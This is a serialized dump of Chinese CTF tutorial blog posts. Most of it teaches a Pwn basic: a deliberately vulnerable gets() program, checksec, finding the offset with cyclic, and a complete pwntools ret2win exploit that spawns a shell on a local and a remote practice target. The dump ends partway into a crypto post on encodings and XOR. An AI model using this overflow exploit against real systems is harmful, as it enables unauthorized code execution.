反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1263,"image":2571,"alt":2572,"tags":2573,"published":141},"/blogs-img/blog1.png","CTF 逆向入门",[1267,2574,1269],"reverse","/blogs/ctf-reverse-overview",{"title":1277,"description":2569},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2580,"title":2581,"body":2582,"description":3376,"extension":1261,"meta":3377,"navigation":141,"ogImage":3378,"path":3381,"seo":3382,"stem":3383,"__hash__":3384},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2583,"toc":3364},[2584,2588,2594,2600,2602,2604,2628,2630,2635,2715,2718,2748,2752,2757,2762,2764,2776,2778,2783,2786,2843,2845,2850,2856,2862,2926,2931,2935,2939,2976,2978,2984,2988,2996,3006,3014,3018,3062,3071,3075,3080,3085,3151,3153,3159,3169,3173,3237,3241,3248,3251,3261,3272,3277,3282,3338,3340,3345,3349,3361],[10,2585,2587],{"id":2586},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2589,2590,2591,2593],{},"C 语言函数 ",[18,2592,20],{}," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2595,2596,2597,697],{},"本文只讲一条主线：",[271,2598,2599],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2601,39],{"id":38},[15,2603,1344],{},[41,2605,2607],{"className":43,"code":2606,"language":45,"meta":46,"style":46},"apt install gcc gdb\npip3 install pwntools\n",[18,2608,2609,2619],{"__ignoreMap":46},[50,2610,2611,2613,2615,2617],{"class":52,"line":53},[50,2612,57],{"class":56},[50,2614,61],{"class":60},[50,2616,64],{"class":60},[50,2618,67],{"class":60},[50,2620,2621,2623,2625],{"class":52,"line":70},[50,2622,73],{"class":56},[50,2624,61],{"class":60},[50,2626,2627],{"class":60}," pwntools\n",[10,2629,113],{"id":112},[15,2631,2632,2633,119],{},"保存 ",[18,2634,118],{},[41,2636,2637],{"className":122,"code":123,"language":124,"meta":46,"style":46},[18,2638,2639,2643,2647,2651,2655,2659,2663,2667,2671,2675,2679,2683,2687,2691,2695,2699,2703,2707,2711],{"__ignoreMap":46},[50,2640,2641],{"class":52,"line":53},[50,2642,131],{},[50,2644,2645],{"class":52,"line":70},[50,2646,136],{},[50,2648,2649],{"class":52,"line":84},[50,2650,142],{"emptyLinePlaceholder":141},[50,2652,2653],{"class":52,"line":145},[50,2654,148],{},[50,2656,2657],{"class":52,"line":151},[50,2658,154],{},[50,2660,2661],{"class":52,"line":157},[50,2662,160],{},[50,2664,2665],{"class":52,"line":163},[50,2666,142],{"emptyLinePlaceholder":141},[50,2668,2669],{"class":52,"line":168},[50,2670,171],{},[50,2672,2673],{"class":52,"line":174},[50,2674,177],{},[50,2676,2677],{"class":52,"line":180},[50,2678,183],{},[50,2680,2681],{"class":52,"line":186},[50,2682,160],{},[50,2684,2685],{"class":52,"line":191},[50,2686,142],{"emptyLinePlaceholder":141},[50,2688,2689],{"class":52,"line":196},[50,2690,199],{},[50,2692,2693],{"class":52,"line":202},[50,2694,205],{},[50,2696,2697],{"class":52,"line":208},[50,2698,211],{},[50,2700,2701],{"class":52,"line":214},[50,2702,217],{},[50,2704,2705],{"class":52,"line":220},[50,2706,223],{},[50,2708,2709],{"class":52,"line":226},[50,2710,229],{},[50,2712,2713],{"class":52,"line":232},[50,2714,160],{},[15,2716,2717],{},"编译（关闭金丝雀和 PIE，方便入门）：",[41,2719,2721],{"className":43,"code":2720,"language":45,"meta":46,"style":46},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[18,2722,2723,2737,2743],{"__ignoreMap":46},[50,2724,2725,2727,2729,2731,2733,2735],{"class":52,"line":53},[50,2726,247],{"class":56},[50,2728,251],{"class":250},[50,2730,254],{"class":60},[50,2732,257],{"class":60},[50,2734,260],{"class":250},[50,2736,263],{"class":250},[50,2738,2739],{"class":52,"line":70},[50,2740,2742],{"class":2741},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[50,2744,2745],{"class":52,"line":84},[50,2746,2747],{"class":2741},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2749,2751],{"id":2750},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2753,2754,2756],{},[271,2755,273],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2758,2759,2761],{},[271,2760,279],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2763,1398],{},[41,2765,2766],{"className":43,"code":283,"language":45,"meta":46,"style":46},[18,2767,2768],{"__ignoreMap":46},[50,2769,2770,2772,2774],{"class":52,"line":53},[50,2771,290],{"class":56},[50,2773,293],{"class":60},[50,2775,296],{"class":60},[15,2777,299],{},[41,2779,2781],{"className":2780,"code":304,"language":305,"meta":46},[303],[18,2782,304],{"__ignoreMap":46},[15,2784,2785],{},"只看三行：",[312,2787,2788,2800],{},[315,2789,2790],{},[318,2791,2792,2795,2797],{},[321,2793,2794],{},"行",[321,2796,326],{},[321,2798,2799],{},"对我们意味着什么",[328,2801,2802,2815,2828],{},[318,2803,2804,2809,2812],{},[333,2805,2806],{},[18,2807,2808],{},"Stack: No canary found",[333,2810,2811],{},"没有栈金丝雀",[333,2813,2814],{},"可以直接覆盖返回地址",[318,2816,2817,2822,2825],{},[333,2818,2819],{},[18,2820,2821],{},"NX: NX enabled",[333,2823,2824],{},"栈不可执行",[333,2826,2827],{},"不能放 shellcode（本阶段先不管）",[318,2829,2830,2835,2838],{},[333,2831,2832],{},[18,2833,2834],{},"PIE: No PIE",[333,2836,2837],{},"程序地址固定",[333,2839,2840,2842],{},[18,2841,363],{}," 的地址可以直接写进 payload",[10,2844,378],{"id":377},[15,2846,2847,2849],{},[18,2848,383],{}," 被调用时栈上自低到高：",[41,2851,2854],{"className":2852,"code":2853,"language":305,"meta":46},[303],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[18,2855,2853],{"__ignoreMap":46},[15,2857,2858,2859,2861],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[18,2860,403],{}," 验证：",[41,2863,2865],{"className":411,"code":2864,"language":413,"meta":46,"style":46},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[18,2866,2867,2871,2875,2879,2883,2888,2893,2897,2902,2906,2911,2916,2921],{"__ignoreMap":46},[50,2868,2869],{"class":52,"line":53},[50,2870,420],{},[50,2872,2873],{"class":52,"line":70},[50,2874,142],{"emptyLinePlaceholder":141},[50,2876,2877],{"class":52,"line":84},[50,2878,429],{},[50,2880,2881],{"class":52,"line":145},[50,2882,434],{},[50,2884,2885],{"class":52,"line":151},[50,2886,2887],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[50,2889,2890],{"class":52,"line":157},[50,2891,2892],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[50,2894,2895],{"class":52,"line":163},[50,2896,444],{},[50,2898,2899],{"class":52,"line":168},[50,2900,2901],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[50,2903,2904],{"class":52,"line":174},[50,2905,454],{},[50,2907,2908],{"class":52,"line":180},[50,2909,2910],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[50,2912,2913],{"class":52,"line":186},[50,2914,2915],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[50,2917,2918],{"class":52,"line":191},[50,2919,2920],{},"print(offset)\n",[50,2922,2923],{"class":52,"line":196},[50,2924,2925],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2927,299,2928,697],{},[18,2929,2930],{},"40",[10,2932,2934],{"id":2933},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[713,2936,2938],{"id":2937},"api-1elf读符号地址","API 1：ELF——读符号地址",[41,2940,2942],{"className":411,"code":2941,"language":413,"meta":46,"style":46},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[18,2943,2944,2948,2952,2956,2961,2966,2971],{"__ignoreMap":46},[50,2945,2946],{"class":52,"line":53},[50,2947,420],{},[50,2949,2950],{"class":52,"line":70},[50,2951,142],{"emptyLinePlaceholder":141},[50,2953,2954],{"class":52,"line":84},[50,2955,518],{},[50,2957,2958],{"class":52,"line":145},[50,2959,2960],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[50,2962,2963],{"class":52,"line":151},[50,2964,2965],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[50,2967,2968],{"class":52,"line":157},[50,2969,2970],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[50,2972,2973],{"class":52,"line":163},[50,2974,2975],{},"print(hex(elf.symbols['win']))\n",[15,2977,299],{},[41,2979,2982],{"className":2980,"code":2981,"language":305,"meta":46},[303],"0x401176\n",[18,2983,2981],{"__ignoreMap":46},[713,2985,2987],{"id":2986},"api-2process启动程序","API 2：process——启动程序",[41,2989,2990],{"className":411,"code":429,"language":413,"meta":46,"style":46},[18,2991,2992],{"__ignoreMap":46},[50,2993,2994],{"class":52,"line":53},[50,2995,429],{},[15,2997,2998,2999,21,3002,3005],{},"启动本地进程，之后用 ",[18,3000,3001],{},"p.sendline()",[18,3003,3004],{},"p.recvuntil()"," 交互。远程题目改成：",[41,3007,3008],{"className":411,"code":1199,"language":413,"meta":46,"style":46},[18,3009,3010],{"__ignoreMap":46},[50,3011,3012],{"class":52,"line":53},[50,3013,1199],{},[713,3015,3017],{"id":3016},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[41,3019,3021],{"className":411,"code":3020,"language":413,"meta":46,"style":46},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[18,3022,3023,3028,3033,3038,3043,3048,3053,3057],{"__ignoreMap":46},[50,3024,3025],{"class":52,"line":53},[50,3026,3027],{},"payload = b'A' * 40 + p64(0x401176)\n",[50,3029,3030],{"class":52,"line":70},[50,3031,3032],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[50,3034,3035],{"class":52,"line":84},[50,3036,3037],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[50,3039,3040],{"class":52,"line":145},[50,3041,3042],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[50,3044,3045],{"class":52,"line":151},[50,3046,3047],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[50,3049,3050],{"class":52,"line":157},[50,3051,3052],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[50,3054,3055],{"class":52,"line":163},[50,3056,556],{},[50,3058,3059],{"class":52,"line":168},[50,3060,3061],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,3063,3064,3066,3067,3070],{},[18,3065,1122],{}," 把 64 位整数转成 8 字节小端字节串；40 个 ",[18,3068,3069],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,3072,3074],{"id":3073},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,3076,3077,3079],{},[271,3078,273],{},"：把前三步串成完整 exploit。",[15,3081,3082,3084],{},[271,3083,279],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[41,3086,3088],{"className":411,"code":3087,"language":413,"meta":46,"style":46},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[18,3089,3090,3094,3098,3102,3106,3110,3114,3119,3124,3128,3132,3137,3141,3146],{"__ignoreMap":46},[50,3091,3092],{"class":52,"line":53},[50,3093,420],{},[50,3095,3096],{"class":52,"line":70},[50,3097,142],{"emptyLinePlaceholder":141},[50,3099,3100],{"class":52,"line":84},[50,3101,518],{},[50,3103,3104],{"class":52,"line":145},[50,3105,429],{},[50,3107,3108],{"class":52,"line":151},[50,3109,142],{"emptyLinePlaceholder":141},[50,3111,3112],{"class":52,"line":157},[50,3113,531],{},[50,3115,3116],{"class":52,"line":163},[50,3117,3118],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[50,3120,3121],{"class":52,"line":168},[50,3122,3123],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[50,3125,3126],{"class":52,"line":174},[50,3127,541],{},[50,3129,3130],{"class":52,"line":180},[50,3131,556],{},[50,3133,3134],{"class":52,"line":186},[50,3135,3136],{},"# 触发溢出：覆盖返回地址为 win。\n",[50,3138,3139],{"class":52,"line":191},[50,3140,561],{},[50,3142,3143],{"class":52,"line":196},[50,3144,3145],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[50,3147,3148],{"class":52,"line":202},[50,3149,3150],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3152,585],{},[41,3154,3157],{"className":3155,"code":3156,"language":305,"meta":46},[303],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[18,3158,3156],{"__ignoreMap":46},[15,3160,3161,3162,3165,3166,3168],{},"程序跳到了 ",[18,3163,3164],{},"win()","，执行 ",[18,3167,611],{},"，我们拿到了 shell。",[10,3170,3172],{"id":3171},"八必学工具","八、必学工具",[312,3174,3175,3185],{},[315,3176,3177],{},[318,3178,3179,3181,3183],{},[321,3180,1096],{},[321,3182,1099],{},[321,3184,1102],{},[328,3186,3187,3208,3220],{},[318,3188,3189,3191,3206],{},[333,3190,1109],{},[333,3192,3193,3195,3196,1117,3198,3200,3201,1123,3203,3205],{},[18,3194,1114],{}," 读符号、",[18,3197,403],{},[18,3199,407],{}," 找偏移、",[18,3202,1122],{},[18,3204,1126],{}," 构造发送",[333,3207,1129],{},[318,3209,3210,3212,3215],{},[333,3211,1238],{},[333,3213,3214],{},"查看栈保护、NX、PIE",[333,3216,3217],{},[18,3218,3219],{},"pwn checksec ./vuln",[318,3221,3222,3225,3228],{},[333,3223,3224],{},"GDB（+pwndbg）",[333,3226,3227],{},"断点、看栈、单步",[333,3229,3230,21,3232,21,3234],{},[18,3231,1154],{},[18,3233,1157],{},[18,3235,3236],{},"continue",[10,3238,3240],{"id":3239},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3242,1167,3243,3245,3246,697],{},[18,3244,1170],{},"，运行的就是上面的 ",[18,3247,383],{},[15,3249,3250],{},"第一步，本地验证：",[41,3252,3253],{"className":43,"code":572,"language":45,"meta":46,"style":46},[18,3254,3255],{"__ignoreMap":46},[50,3256,3257,3259],{"class":52,"line":53},[50,3258,579],{"class":56},[50,3260,582],{"class":60},[15,3262,3263,3264,3267,3268,3271],{},"第二步，把 ",[18,3265,3266],{},"process('./vuln')"," 改成 ",[18,3269,3270],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3273,3274,3276],{},[271,3275,273],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3278,3279,3281],{},[271,3280,1870],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[41,3283,3285],{"className":411,"code":3284,"language":413,"meta":46,"style":46},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[18,3286,3287,3291,3295,3299,3303,3308,3313,3317,3321,3325,3329,3334],{"__ignoreMap":46},[50,3288,3289],{"class":52,"line":53},[50,3290,420],{},[50,3292,3293],{"class":52,"line":70},[50,3294,142],{"emptyLinePlaceholder":141},[50,3296,3297],{"class":52,"line":84},[50,3298,518],{},[50,3300,3301],{"class":52,"line":145},[50,3302,1199],{},[50,3304,3305],{"class":52,"line":151},[50,3306,3307],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[50,3309,3310],{"class":52,"line":157},[50,3311,3312],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[50,3314,3315],{"class":52,"line":163},[50,3316,142],{"emptyLinePlaceholder":141},[50,3318,3319],{"class":52,"line":168},[50,3320,541],{},[50,3322,3323],{"class":52,"line":174},[50,3324,556],{},[50,3326,3327],{"class":52,"line":180},[50,3328,1216],{},[50,3330,3331],{"class":52,"line":186},[50,3332,3333],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[50,3335,3336],{"class":52,"line":191},[50,3337,561],{},[15,3339,299],{},[41,3341,3343],{"className":3342,"code":1226,"language":305,"meta":46},[303],[18,3344,1226],{"__ignoreMap":46},[10,3346,3348],{"id":3347},"十小结","十、小结",[15,3350,3351,3352,3354,3355,3357,3358,3360],{},"Pwn 入门主线：",[18,3353,1238],{}," 判断能不能直接打 → ",[18,3356,403],{}," 确定偏移 → ",[18,3359,1122],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1244,3362,3363],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":46,"searchDepth":70,"depth":70,"links":3365},[3366,3367,3368,3369,3370,3371,3372,3373,3374,3375],{"id":2586,"depth":84,"text":2587},{"id":38,"depth":84,"text":39},{"id":112,"depth":84,"text":113},{"id":2750,"depth":84,"text":2751},{"id":377,"depth":84,"text":378},{"id":2933,"depth":84,"text":2934},{"id":3073,"depth":84,"text":3074},{"id":3171,"depth":84,"text":3172},{"id":3239,"depth":84,"text":3240},{"id":3347,"depth":84,"text":3348},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1263,"image":3378,"alt":3379,"tags":3380,"published":141},"/blogs-img/blog2.png","CTF Pwn 入门",[1267,290,1269],"/blogs/ctf-pwn-overview",{"title":2581,"description":3376},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3386,"title":3387,"body":3388,"description":4376,"extension":1261,"meta":4377,"navigation":141,"ogImage":4378,"path":4382,"seo":4383,"stem":4384,"__hash__":4385},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3389,"toc":4366},[3390,3394,3397,3464,3467,3553,3556,3562,3565,3589,3591,3597,3599,3619,3629,3633,3644,3648,3653,3697,3699,3705,3709,3714,3727,3801,3803,3809,3815,3819,3825,3856,3860,3863,3927,3929,3935,3939,3943,3946,3950,3955,3960,4001,4005,4127,4129,4135,4145,4147,4151,4154,4192,4196,4225,4229,4232,4261,4263,4269,4273,4276,4281,4284,4292,4351,4353,4358,4360,4363],[10,3391,3393],{"id":3392},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3395,3396],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[312,3398,3399,3412],{},[315,3400,3401],{},[318,3402,3403,3406,3409],{},[321,3404,3405],{},"编码",[321,3407,3408],{},"现实应用",[321,3410,3411],{},"例子",[328,3413,3414,3430,3449],{},[318,3415,3416,3419,3422],{},[333,3417,3418],{},"Base64",[333,3420,3421],{},"邮件附件（MIME）、JWT 令牌、Data URI",[333,3423,3424,600,3427],{},[18,3425,3426],{},"ZmxhZw==",[18,3428,3429],{},"flag",[318,3431,3432,3435,3442],{},[333,3433,3434],{},"Hex",[333,3436,3437,3438,3441],{},"颜色值 ",[18,3439,3440],{},"#FF0000","、MAC 地址、哈希摘要",[333,3443,3444,600,3447],{},[18,3445,3446],{},"666c6167",[18,3448,3429],{},[318,3450,3451,3454,3457],{},[333,3452,3453],{},"URL 编码",[333,3455,3456],{},"浏览器地址栏中的中文与特殊字符",[333,3458,3459,600,3462],{},[18,3460,3461],{},"%66%6c%61%67",[18,3463,3429],{},[15,3465,3466],{},"先运行最小的解码例子：",[41,3468,3470],{"className":411,"code":3469,"language":413,"meta":46,"style":46},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[18,3471,3472,3477,3482,3486,3491,3496,3501,3505,3510,3515,3520,3524,3529,3534,3539,3543,3548],{"__ignoreMap":46},[50,3473,3474],{"class":52,"line":53},[50,3475,3476],{},"import base64\n",[50,3478,3479],{"class":52,"line":70},[50,3480,3481],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[50,3483,3484],{"class":52,"line":84},[50,3485,142],{"emptyLinePlaceholder":141},[50,3487,3488],{"class":52,"line":145},[50,3489,3490],{},"print(base64.b64encode(b\"flag\"))\n",[50,3492,3493],{"class":52,"line":151},[50,3494,3495],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[50,3497,3498],{"class":52,"line":157},[50,3499,3500],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[50,3502,3503],{"class":52,"line":163},[50,3504,142],{"emptyLinePlaceholder":141},[50,3506,3507],{"class":52,"line":168},[50,3508,3509],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[50,3511,3512],{"class":52,"line":174},[50,3513,3514],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[50,3516,3517],{"class":52,"line":180},[50,3518,3519],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[50,3521,3522],{"class":52,"line":186},[50,3523,142],{"emptyLinePlaceholder":141},[50,3525,3526],{"class":52,"line":191},[50,3527,3528],{},"print(bytes.fromhex(\"666c6167\"))\n",[50,3530,3531],{"class":52,"line":196},[50,3532,3533],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[50,3535,3536],{"class":52,"line":202},[50,3537,3538],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[50,3540,3541],{"class":52,"line":208},[50,3542,142],{"emptyLinePlaceholder":141},[50,3544,3545],{"class":52,"line":214},[50,3546,3547],{},"print(b\"flag\".hex())\n",[50,3549,3550],{"class":52,"line":220},[50,3551,3552],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3554,3555],{},"实际输出：",[41,3557,3560],{"className":3558,"code":3559,"language":305,"meta":46},[303],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[18,3561,3559],{"__ignoreMap":46},[15,3563,3564],{},"URL 编码：",[41,3566,3568],{"className":411,"code":3567,"language":413,"meta":46,"style":46},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[18,3569,3570,3575,3579,3584],{"__ignoreMap":46},[50,3571,3572],{"class":52,"line":53},[50,3573,3574],{},"from urllib.parse import quote, unquote\n",[50,3576,3577],{"class":52,"line":70},[50,3578,142],{"emptyLinePlaceholder":141},[50,3580,3581],{"class":52,"line":84},[50,3582,3583],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[50,3585,3586],{"class":52,"line":145},[50,3587,3588],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3590,3555],{},[41,3592,3595],{"className":3593,"code":3594,"language":305,"meta":46},[303],"%E4%BD%A0%E5%A5%BD\nflag\n",[18,3596,3594],{"__ignoreMap":46},[10,3598,39],{"id":38},[41,3600,3602],{"className":43,"code":3601,"language":45,"meta":46,"style":46},"pip3 install pycryptodome sympy gmpy2\n",[18,3603,3604],{"__ignoreMap":46},[50,3605,3606,3608,3610,3613,3616],{"class":52,"line":53},[50,3607,73],{"class":56},[50,3609,61],{"class":60},[50,3611,3612],{"class":60}," pycryptodome",[50,3614,3615],{"class":60}," sympy",[50,3617,3618],{"class":60}," gmpy2\n",[15,3620,3621,3622],{},"浏览器打开 CyberChef（",[3623,3624,3628],"a",{"href":3625,"rel":3626},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3627],"nofollow","https://gchq.github.io/CyberChef）。",[10,3630,3632],{"id":3631},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3634,3635,3636,3639,3640,3643],{},"异或的性质：",[18,3637,3638],{},"A ^ B = C","，且 ",[18,3641,3642],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[713,3645,3647],{"id":3646},"_31-加密","3.1 加密",[15,3649,3650,3652],{},[271,3651,273],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[41,3654,3656],{"className":411,"code":3655,"language":413,"meta":46,"style":46},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[18,3657,3658,3663,3668,3672,3677,3682,3687,3692],{"__ignoreMap":46},[50,3659,3660],{"class":52,"line":53},[50,3661,3662],{},"plain = b\"flag{xor_is_easy}\"\n",[50,3664,3665],{"class":52,"line":70},[50,3666,3667],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[50,3669,3670],{"class":52,"line":84},[50,3671,142],{"emptyLinePlaceholder":141},[50,3673,3674],{"class":52,"line":145},[50,3675,3676],{},"cipher = bytes([b ^ key for b in plain])\n",[50,3678,3679],{"class":52,"line":151},[50,3680,3681],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ 